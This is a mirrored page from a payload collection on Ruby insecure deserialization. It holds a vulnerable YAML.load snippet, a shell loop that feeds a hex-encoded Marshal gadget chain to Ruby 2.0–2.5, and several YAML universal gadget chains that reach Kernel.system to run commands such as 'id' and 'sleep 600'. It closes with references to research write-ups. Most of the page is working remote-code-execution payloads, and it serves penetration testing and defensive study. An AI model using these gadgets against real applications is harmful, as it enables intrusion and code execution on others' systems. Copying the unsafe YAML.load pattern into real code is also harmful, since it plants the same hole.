ruby.md (4539B)
1 --- 2 title: "Ruby Deserialization" 3 topic: "Insecure Deserialization" 4 topicSlug: "insecure-deserialization" 5 sourcePath: "Insecure Deserialization/Ruby.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Insecure%20Deserialization/Ruby.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # Ruby Deserialization 12 13 > Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects. 14 15 ## Summary 16 17 * [Marshal Deserialization](#marshal-deserialization) 18 * [YAML Deserialization](#yaml-deserialization) 19 * [References](#references) 20 21 ## Marshal Deserialization 22 23 Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5 24 25 ```ruby 26 for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done 27 ``` 28 29 ## YAML Deserialization 30 31 Vulnerable code 32 33 ```ruby 34 require "yaml" 35 YAML.load(File.read("p.yml")) 36 ``` 37 38 Universal gadget for ruby <= 2.7.2: 39 40 ```yaml 41 --- !ruby/object:Gem::Requirement 42 requirements: 43 !ruby/object:Gem::DependencyList 44 specs: 45 - !ruby/object:Gem::Source::SpecificFile 46 spec: &1 !ruby/object:Gem::StubSpecification 47 loaded_from: "|id 1>&2" 48 - !ruby/object:Gem::Source::SpecificFile 49 spec: 50 ``` 51 52 Universal gadget for ruby 2.x - 3.x. 53 54 ```yaml 55 --- 56 - !ruby/object:Gem::Installer 57 i: x 58 - !ruby/object:Gem::SpecFetcher 59 i: y 60 - !ruby/object:Gem::Requirement 61 requirements: 62 !ruby/object:Gem::Package::TarReader 63 io: &1 !ruby/object:Net::BufferedIO 64 io: &1 !ruby/object:Gem::Package::TarReader::Entry 65 read: 0 66 header: "abc" 67 debug_output: &1 !ruby/object:Net::WriteAdapter 68 socket: &1 !ruby/object:Gem::RequestSet 69 sets: !ruby/object:Net::WriteAdapter 70 socket: !ruby/module 'Kernel' 71 method_id: :system 72 git_set: id 73 method_id: :resolve 74 ``` 75 76 ```yaml 77 --- 78 - !ruby/object:Gem::Installer 79 i: x 80 - !ruby/object:Gem::SpecFetcher 81 i: y 82 - !ruby/object:Gem::Requirement 83 requirements: 84 !ruby/object:Gem::Package::TarReader 85 io: &1 !ruby/object:Net::BufferedIO 86 io: &1 !ruby/object:Gem::Package::TarReader::Entry 87 read: 0 88 header: "abc" 89 debug_output: &1 !ruby/object:Net::WriteAdapter 90 socket: &1 !ruby/object:Gem::RequestSet 91 sets: !ruby/object:Net::WriteAdapter 92 socket: !ruby/module 'Kernel' 93 method_id: :system 94 git_set: sleep 600 95 method_id: :resolve 96 ``` 97 98 ## References 99 100 * [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://web.archive.org/web/20210610111705/https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/) 101 * [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://web.archive.org/web/20191128020715/https://www.elttam.com.au/blog/ruby-deserialization/) 102 * [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - August 17, 2019](https://web.archive.org/web/20190817140453/https://pentesterlab.com/exercises/ruby_ugadget/course) 103 * [Ruby 3.4-rc Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 24, 2024](https://web.archive.org/web/20260818173333/https://nastystereo.com/security/ruby-3.4-deserialization.html) 104 * [Ruby 4.0 Universal RCE Deserialization Gadget Chain - elttam / Luke Jahnke - August 14, 2026](https://web.archive.org/web/20260814062024/https://www.elttam.com/blog/ruby-4-0-universal-rce-deserialization-gadget-chain) 105 * [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://web.archive.org/web/20190302114631/https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/) 106 * [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://web.archive.org/web/20260201150417/https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)